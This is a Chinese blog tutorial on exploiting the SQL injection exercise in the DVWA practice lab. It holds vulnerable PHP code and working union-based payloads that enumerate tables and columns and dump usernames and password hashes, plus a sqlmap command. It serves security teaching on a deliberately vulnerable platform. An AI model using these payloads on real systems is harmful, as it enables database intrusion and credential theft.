DVWA漏洞演练平台 - SQL注入
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.
接下来你需要自行搭建DVWA的漏洞演练环境,我这里使用的系统环境是:Centos 7 + PHP 7 + MariaDB 5.5 + DVWA 1.10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <?php if ( isset( $_REQUEST [ 'Submit' ])){ // 根据ID号取出相应的字段 $id = $_REQUEST [ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';" ; $result = mysql_query( $query ) or die ( '<pre>' . mysql_error() . '</pre>' ); // 循环获取返回结果,并将其打印到屏幕上 $num = mysql_numrows( $result ); $i = 0; while ( $i < $num ) { $first = mysql_result( $result , $i , "first_name" ); $last = mysql_result( $result , $i , "last_name" ); echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>" ; $i ++; } mysql_close(); } ?> |
上面的代码就是低安全级别的核心代码了,观察后发现第5行,在查询语句的构建中并没有检查$id参数是否合法,而是直接带入到了数据库中进行了查询,很明显这里存在SQL注入漏洞可以直接利用.
当我们在输入框中输入1的时候,PHP解释器将会把 $id 替换成 1 ,实际上后台执行的SQL语句如下:
SELECT first_name, last_name FROM users WHERE user_id = '1' ; |
由于PHP代码中并没有对 $id 参数进行合法化的过滤,导致我们可以巧妙地使用单引号完成SQL语句的闭合,并通过使用and,or,union 等命令拼接构建好的恶意SQL并带入数据库执行,如下我们可以这样构建一条具有闭合功能的SQL语句:
user_id = '$id' ----> $id = '1' and '1' = '1' ----> 最终语句为: 1 ' and ' 1 '=' 1 |
判断注入点:1.首先输入and 1=1 返回了结果,输入and 1=0 返回空,说明存在注入点。
判断字段数: 使用order by 判断字段数,输入order by 1显示正常,但输入order by 3 显示则错误,说明只有两个字段。
获取数据库敏感信息:
读取主机敏感文件:
获取数据库中的表: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取指定表中的字段: 0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
脱库: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
获取登陆后的Cookie:
F12调试模式,登录成功后,可看到cookie
随便输入用户名密码,点击登录跳转到登录页面。
修改,将上方得到的cookie填充到此处,此处我的cookie是;
放行数据,即可登录完成。
保存下面的数据包,然后放入sqlmap根目录。
直接使用 sqlmap.py -r post.txt -p id --dbs 完成注入演示。
本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?